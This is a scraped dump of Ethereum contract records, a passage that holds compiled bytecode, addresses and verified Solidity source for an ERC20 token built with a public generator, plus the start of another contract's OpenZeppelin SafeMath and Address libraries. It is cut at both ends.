fffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600660009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610bdf576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c73565b610bf283826113ea90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e645780601f10610e3957610100808354040283529160200191610e64565b820191906000526020600020905b815481529060010190602001808311610e4757829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ea957600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ef757600080fd5b610f4982600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113ea90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fde82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061112182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561136f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156113e75780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008282111515156113f857fe5b818303905092915050565b600080828401905083811015151561141757fe5b80915050929150505600a165627a7a72305820ca9a0cde215c291794d7da2c917140017202ecf41f8320209fd96954507ad59e0029
[ 38 ]
0xF36d3558dE6E7e000e47B12eC51C6aB41C6A315F
// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e99190610846565b60405180910390f35b61010561010036600461081d565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e2565b6102a4565b604051601281526020016100e9565b61010561015736600461081d565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab36600461081d565b6103cf565b6101056101be36600461081d565b61046a565b6101196101d13660046107b0565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108c8565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b1565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a908690610899565b60606005805461020b906108c8565b60606040518060600160405280602f815260200161091a602f9139905090565b60606004805461020b906108c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b1565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b1565b6001600160a01b038086166000908152602081905260408082209390935590851681529081208054849290610719908490610899565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a0578081fd5b6107a982610773565b9392505050565b600080604083850312156107c2578081fd5b6107cb83610773565b91506107d960208401610773565b90509250929050565b6000806000606084860312156107f6578081fd5b6107ff84610773565b925061080d60208501610773565b9150604084013590509250925092565b6000806040838503121561082f578182fd5b61083883610773565b946020939093013593505050565b6000602080835283518082850152825b8181101561087257858101830151858201604001528201610856565b818111156108835783604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108ac576108ac610903565b500190565b6000828210156108c3576108c3610903565b500390565b600181811c908216806108dc57607f821691505b602082108114156108fd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a26469706673582212200315b04416bc8583c10593e3cb96b647a898c96162e4c292753f8ea5ec5a123164736f6c63430008040033
[ 38 ]
0xf36d4e6a35e2c950c3f9122f4c16f39349a82772
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a 